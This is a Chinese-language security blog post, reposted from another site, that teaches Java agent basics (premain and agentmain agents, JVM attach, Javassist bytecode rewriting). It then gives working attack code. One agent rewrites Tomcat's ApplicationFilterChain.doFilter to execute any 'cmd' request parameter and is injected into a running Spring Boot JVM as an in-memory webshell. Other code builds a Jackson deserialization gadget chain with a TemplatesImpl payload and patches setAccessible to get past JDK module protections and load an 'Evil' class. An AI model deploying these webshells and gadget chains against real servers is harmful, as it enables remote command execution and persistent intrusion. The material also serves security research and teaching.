javaAgent简单讲解和一些利用技巧

admin 2024年11月9日16:20:19评论5 views字数 14308阅读47分41秒阅读模式

Agent基本认识

Agent(代理)来讲,其大致可以分为两种,一种是在 JVM 启动前加载的premain-Agent,另一种是 JVM 启动之后加载的 agentmain-Agent。这里我们可以将其理解成一种特殊的 Interceptor(拦截器)

premain-Agent

首先我们先定义这样一个 agent.jar

public class Java_Agent_premain {
public static void premain(String args, Instrumentation inst) {
for (int i=0 ; i<10 ; i++){
System.out.println("调用了premain-Agent!");
}
}
}

Agent.mf

Manifest-Version: 1.0
Premain-Class: Java_Agent_premain

然后 生成我们的 premain agent

jar cvfm agent.jar META-INF/maven/agent.MF Java_Agent_premain.class

相应的我们准备一个 hello.jar

public class Hello {
public static void main(String[] args) {
System.out.println("hello");
}
}

hello.mf

Manifest-Version: 1.0
Main-Class: Hello

jar cvfm hello.jar META-INF/maven/hello.mf Hello.class

然后其实可以发现我们的Java_Agent_premain 是运行Hello之前的。

这个premain-Agent是在jvm启动前加载的。

java -javaagent:agent.jar -jar hello.jar
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
调用了premain-Agent!
Hello World!

VirtualMachine

先说一下环境,引入 tool.jar

<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<scope>system</scope>
<systemPath>/Library/Java/JavaVirtualMachines/jdk8u275/lib/tools.jar</systemPath>
</dependency>

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。

比如这个 获取特定虚拟机PID

public class get_PID {
public static void main(String[] args) {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
if(vmd.displayName().equals("com.drunkbaby.get_PID"))
System.out.println(vmd.id());
}
}
}

agentmain-Agent

premain-Agent是在 JVM 启动前加载的,这个agentmain是 JVM 启动之后加载的。

先编写一个 Sleep_Hello 类,模拟正在运行的 JVM

package com.drunkbaby;  

import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}

编写我们的 agentmain

public class Java_Agent_agentmain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了agentmain-Agent!");
sleep(3000);
}
}
}

mf文件

Manifest-Version: 1.0
Agent-Class: com.drunkbaby.Java_Agent_agentmain

jar cvfm hello.jar META-INF/MAINFEST.MF Java_Agent_agentmain.class

然后开始注入

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.drunkbaby.Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("/Users/taoyu/Music/code/java_code/Java-Agent-Memshell/Agentmain/src/main/resources/hello.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}

先运行Sleep_Hello再运行Inject_Agent。输出如下。

Hello World!
调用了agentmain-Agent!
Hello World!
调用了agentmain-Agent!
调用了agentmain-Agent!

但是这里我们这里只是插入,而不是改变。

动态修改字节码

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。

ClassFileTransformer接口下面有一个addTransformer方法。重写该方法即可转换任意类文件,并返回新的被取代的类文件,

下面我们来修改这个正在运行的hello

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while(true) {
hello();
sleep(3000);
}
}
public static void hello(){
System.out.println("Hello World!");
}
}

一个实现了ClassFileTransformer接口的类。

public class Hello_Transform implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
//获取目标类
CtClass ctClass = classPool.get("AgentShell.Sleep_Hello");
System.out.println(ctClass);
//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
//设置方法体
String body = "{System.out.println("Hacker!");}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

agent

public class agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("AgentShell.Sleep_Hello")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Hello_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}

修改一下mf文件

Manifest-Version: 1.0
Agent-Class: AgentShell.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

pom.xml 这里使用assembly生成说需要的jar包

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.6</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/maven/MAINFEST.MF
</manifestFile>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>6</source>
<target>6</target>
</configuration>
</plugin>
</plugins>
</build>

先运行Sleep_Hello 再运行这个

public class Inject_Agent {
public static void main(String[] args) throws Exception {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("AgentShell.Sleep_Hello")){
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("/Users/taoyu/Music/code/java_code/Java-Agent-Memshell/Instrumentation/target/Instrumentation-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}
Hello World!
Hello World!
Hello World!
Hello World!
Hello World!
Hello World!
javassist.CtClassType@6ae33825[public class AgentShell.Sleep_Hello fields= constructors=javassist.CtConstructor@58966603[public Sleep_Hello ()V], methods=javassist.CtMethod@44a4fe33[public static main ([Ljava/lang/String;)V], javassist.CtMethod@30063153[public static hello ()V], ]
Hacker!
Hacker!

一些利用

利用agentmain注入Filter内存马

准备好实现了ClassFileTransformer接口的Filter_Transform

public class Filter_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1n;" +
"String cmd=request.getParameter("cmd");n" +
"if (cmd !=null){n" +
" Runtime.getRuntime().exec(cmd);n" +
" }"+
"}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

准备agent

public class agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Filter_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}

mf文件

Manifest-Version: 1.0
Agent-Class: com.drunkbaby.agentmain_transform
Can-Redefine-Classes: true
Can-Retransform-Classes: true

生成对应jar包,然后开始注入

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().contains("JavaAgentSpringBootApplication")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("/Users/taoyu/Music/code/java_code/Java-Agent-Memshell/AgentInjectionExample/target/AgentInjectionExample-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

注入成功。

javaAgent简单讲解和一些利用技巧

Jackson删除writeReplace方法

说到这个链子,我们都知道需要删除BaseJsonNode的writeReplace方法。但是我们其实可以在premain的时候就把这件事情给做了。

Object template = Gadgets.createTemplatesImpl("open -a Calculator");

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

POJONode jsonNodes = new POJONode(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Reflections.setFieldValue(badAttributeValueExpException, "val", jsonNodes);

System.out.println(Tool.base64Encode(Tool.serialize(badAttributeValueExpException)));

transform

public class JacksonClassFileTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){
String target1 = "com.fasterxml.jackson.databind.node.BaseJsonNode";
String className2 = className.replace("/", ".");
if (className2.equals(target1)) {
System.out.println("Find the Inject Class: "+target1);
ClassPool pool = ClassPool.getDefault();
try {
CtClass c = pool.getCtClass(className2);
CtMethod ctMethod = c.getDeclaredMethod("writeReplace");
c.removeMethod(ctMethod);
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return new byte[0];
}

}

agent

public class JacksonAgent {
public static void premain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {

inst.addTransformer(new JacksonClassFileTransformer(),true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();

for (Class loadedClass : allLoadedClasses) {
if("com.fasterxml.jackson.databind.node.BaseJsonNode".equals(loadedClass.getName())){
//重新transform
inst.retransformClasses(loadedClass);
}
}
}
}

.mf

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: cn.org.unk.JacksonAgent

然后我们生成对应的jar包。

然后我们需要让项目运行的时候加上这样一个参数.带上我们的premain agent。

-javaagent:/Users/taoyu/Music/code/java_code/Java-useful-agent/Java17/target/Java17-premain.jar

Run->edit configurations

javaAgent简单讲解和一些利用技巧

然后我们构造链子的好时候就可以将以下代码删除依旧不影响我们poc的构造

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

高版本jdk反射修改私有属性

dk9出现了module机制:https://zhuanlan.zhihu.com/p/640217638

java.xml是module的名字,不一定要和包名一样。

exports表示外部可以访问当前module的哪些package。

exports…to 表示指定该package只能被哪些package访问。

同一个module下的类可以互相访问。

我们以这个链子为例。

EventListenerList ReadObject -> ToString

Person p = new Person("aaa");
EventListenerList list = new EventListenerList();

UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(p);
setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});

byte[] code = serialize(list);
unserialize(code);

Person

public String toString() {
System.out.println("this is tostring");
}

我们正常情况下调用私有属性的时候。下面这个 flag值为true。

public void setAccessible(boolean flag) {
AccessibleObject.checkPermission();
if (flag) checkCanSetAccessible(Reflection.getCallerClass());
setAccessible0(flag);
}

会爆以下错误。但是我们如果设置一个premain,就可以修改这段代码。让flag恒为flase。这样我们就可以setAccessible来进行各种操作了。

Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field protected java.util.Vector javax.swing.undo.CompoundEdit.edits accessible: module java.desktop does not "opens javax.swing.undo" to unnamed module @60d14f0f
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:178)
public class MyClassFileTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){

String target4 = "java.lang.reflect.Field";
String className2 = className.replace("/", ".");

if (className2.equals(target4)) {
System.out.println("Find the Inject Class: "+target4);
ClassPool pool = ClassPool.getDefault();
try {

CtClass c = pool.getCtClass(className2);
System.out.println("hhhh");
CtMethod ctMethod = c.getDeclaredMethod("setAccessible");

ctMethod.setBody("{ java.lang.reflect.AccessibleObject.checkPermission();n" +
" if (false) checkCanSetAccessible(Reflection.getCallerClass());n" +
" setAccessible0($1);}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return new byte[0];
}

}
public class MyAgent {

public static void premain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {

inst.addTransformer(new MyClassFileTransformer(),true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();

for (Class loadedClass : allLoadedClasses) {
if("java.lang.reflect.Field".equals(loadedClass.getName())){
//重新transform
inst.retransformClasses(loadedClass);
}
}
}
}

高版本JDK反射类加载

由于高版本的module机制,

无法反射调用 TemplatesImpl 的get方法,POJONode的toString -> 到任意get 的这种方法也没有办法用。

但是我们可以修改Method 的 setAccessible也修改一下我们就可以了。但是需要让服务端加载这个permain时不太现实的。

但是我们可以通过agentmain进行修改,但是有那种功夫,我们还不如注入内存马。直接拿shell。

把上面的那个agent 的 Filed改成Method就可以了。
这样的这个恶意类在jdk17的环境下依旧是可以被加载的。

byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Evil.class"));

Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
((Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length)).newInstance();

点击收藏 0关注 | 1打赏

【来源】:https://xz.aliyun.com/t/15760?u_atoken=b512764aa4facd5c1bf2401e65929a59&u_asig=0a47319217310688458607678e003c

原文始发于微信公众号(船山信安):javaAgent简单讲解和一些利用技巧

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月9日16:20:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   javaAgent简单讲解和一些利用技巧https://cn-sec.com/archives/3376165.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息